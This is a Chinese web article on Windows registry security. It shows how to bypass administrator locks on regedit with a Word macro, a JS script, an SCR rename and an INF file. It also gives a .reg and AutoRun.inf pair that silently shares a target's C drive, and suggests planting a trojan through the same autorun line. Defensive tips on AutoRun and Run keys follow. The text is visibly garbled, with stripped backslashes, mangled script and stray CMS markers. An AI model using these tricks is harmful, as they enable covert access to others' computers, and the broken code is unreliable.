windows

精简注册表高级用法——安全篇

日期:2015/6/28来源: IT猫扑网

笔者发现现在介绍注册表的书籍的重点内容都讲解注册表关于个性化设置和系统优化等部分,而对于现实网络环境下日益猖獗的"黑客"行为、木马病毒以及那些令人恶心的恶意网站却关注甚少。笔者在此就注册表有关安全内容略加阐述,希望能起抛砖引玉之效。

  一、注册表与"黑客"行为

  "黑客"利用注册表主要包括:

  A:突破部分网管软件限制

  B:共享特定硬盘分区并运行指定程序

  C:启动黑客程序等三方面,而其中又属B、C两方面危害较大。

  1、突破部分网管软件限制

  现在流行的网管软件基本上都可以对PC机采取隐藏桌面和硬盘特定分区、禁止修改IE浏览器、隐藏"开始"工具栏,封锁注册表编辑器regedit.exe等诸多限制,有的网吧管理员甚至到了变态的地步。于是"自由的战士"便开始利用注册表进行大突围。
570_2004110309260650342600.gif
  word也可以给注册表解锁?没错!我们利用的是微软在Word中提供的"宏",没想到吧?具体方法是:运行Word,然后编写如下面所示的这个"Unlock"宏,即可给注册表解锁:

  Sub Unlock()

  Dim RegPath As String

  RegPath="HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem"

  System.PrivateProfileString(FileName:="",Section:=RegPath,Key:="Disableregistrytools")="OK!"

  End Sub

  ③用t、vbt脚本语言解锁

  脚本语言解锁注册表,这个没的说,很多恶意网站就是靠它来锁住我们的注册表,现在我们反其道行之用它来解锁注册表。这里只给出t的核心代码。用记事本编辑如下内容的文件,保存为以.js为后缀名的任意文件,使用时双击就可以了。

  VAR WSHShell=WT.CREA-TOBJEt("WT.SHELL");

  WSHShell.Popup("解锁注册表");

  WSHShell.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies

  systemDisableRegistryTools", 0,"reg_dword");

  需要注意:用JS对键值进行操作时要用两斜杠"",并且要用";"表示结束.

  ④利用SCR文件给注册表解锁

  众所周知,SCR文件是屏保文件,SCR文件如何用来解锁注册表呢?方法是将注册表编辑器regedit.exe改名为Regedit.scr。然后,在桌面上点击鼠标右键,在弹出菜单中选择"属性",在弹出的"显示属性"对话框中选中"屏幕保护程序",在"屏幕保护程序"下拉列表框中找到Regedit这个"屏保文件"(图1),最后点击"预览"按纽,你会发现注册表编辑器成功地打开了。再更改相关键值,重启计算机后就可以给注册表解锁了!(记着把SCR文件改回哦!)
570_2004110309260653249000.gif
⑤用INF文件解锁

  
  在Windows中有一种后缀为INF的驱动安装文件,它实际上是一种脚本语言,通过解释来执行。它包含了设备驱动程序的所有安装信息,其中也有涉及修改注册表的相关语句,所以我们也可以利用INF文件对注册表解锁。

  [Version]

  Signature="$CHICAGO$"

  [DefaultInstall]

  DelReg=UnLock

  [UnLock]

  HKCU,SoftwareMicrosoftWindowsCurrentVersionPolicies

  System,Disableregistrytools,

  1,00,00,00,00

  将上面的内容另存为后缀名是.inf的文件,使用时只要右键点击它,在弹出菜单中选择"安装"即可给注册表解锁(如图2)。
570_2004110309260656224500.gif
首先我们打开记事本编辑reg文件如下:

  

  REGEDIT4

  [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

  CurrentVersionNetworkLanmanC$]

#p#副标题#e#

  //这里我只共享了C盘,需要的可以再加

  "Path"="C:"

  "Remark"=" "

  "Type"=dword:00000000

  "Flags"=dword:00000192

  "Parm1enc"=hex:

  "Parm2enc"=hex:

  然后另存为ShareDrives.reg文件。 再打开记事本,键入以下内容:

  [AutoRun]

  open=regedit /s ShareDrives.reg // 这里/s参数作用是导入注册表信息不显示任何提示

  再另存为AutoRun.inf文件。

  将这两个文件复制到对方共享出来的驱动盘根目录下,此后只要双击共享出来的驱动盘就会自动将ShareDrives.reg文件导入注册表,对方重启系统后C盘也就共享出来了。试想想,我们如果在"open=…"句后添上木马名并将已配置好的木马服务端一起复制过去,以后会怎样?

  那么如何对付这种攻击呢?因为硬盘根目录下基本不需要AutoRun.inf文件来运行程序,因此我们可以采用一个一劳永逸的办法就是将硬盘的AutoRun功能完全关闭,这样即使硬盘根目录下有AutoRun.inf文件,操作系统也不会运行指定的程序。Win98为例,打开注册表编辑器,找到[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer]主键,在注册表编辑器右侧框中可以看到有二进制值"NoDriveTypeAutoRun",最后只需要将其数据数值由默认的"950000 00"改为"9d 00 00 00"就可以了。其原理我就不在讲解了。

  3、启动黑客程序

  利用注册表启动黑客程序,目的是想每次开机启动时自动运行黑客程序,这同时也是很多木马病毒自启动常用的方法之一。普遍的方法是在将黑客程序名及参数添加到注册表相应的键值下,这样一来,每次开机时计算机将自动加载相应的注册表项,进而使黑客程序达到常驻内存的目的。另外还有更为隐蔽的方法会在"注册表与木马病毒"部分详细介绍。

  下面我们打开注册表编辑器,查看:

  HKEY_LOCAL_MACHINESoftwareMicrosoft

  WindowsCurrentVersion下所有以"run"开头的键值;

  HKEY_CURRENT_USERSoftwareMicrosoft

  WindowsCurrentVersion下所有以"run"开头的键值;

  HKEY_USERS.DefaultSoftwareMicrosoftWindowsCurrentVersion下所有以"run"开头的键值。

  如果发现未知不明的键值,可很有可能就是非法植入的程序。

  二、注册表与病毒

  下面我们来看看病毒是如何利用注册表的。一般,病毒会利用注册表来得到系统的基本信息,例如操作系统类型、系统安装的服务程序、IE、outlook等应用软件的版本信息等等。这主要是为了探测系统及软件本身的漏洞然后加以利用。更主要的,病毒是想通过注册表实现黑客程序一样的目的——开机自启,常驻内存。只有这样,病毒才能感染其他机器和文件,才有机会进行"破坏"。

  打开注册表编辑器,我们找到:

  HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion下所有以"run"开头的键值;

  HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion下所有以"run"开头的键值;

  HKEY_USERS.DefaultSoftwareMicrosoftWindowsCurrentVersion下所有以"run"开头的键值。

  大部分病毒都会悄悄的在上述三个位置安家。这时我们只需要删除相应的键值再删除掉病毒程序就可以了。

  此外,病毒还可以把自己注册为系统服务来达到更为隐蔽的开机自启的目的。其基本原理是利用在WIN2K中,"启动类型"设置为"自动"的服务,启动时系统就会自动运行,所以,病毒只需将自身添加到系统服务中,并将"启动类型"设置为"自动"就可以每次启动系统时都自动运行病毒程序。其在注册表中的位置如下:[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServiceNamemeters]

  "Application"= "C:winntsystem32 ServiceName.exe

相关文章

相关下载

网友评论

我要评论...
    没有更早的评论了
    取消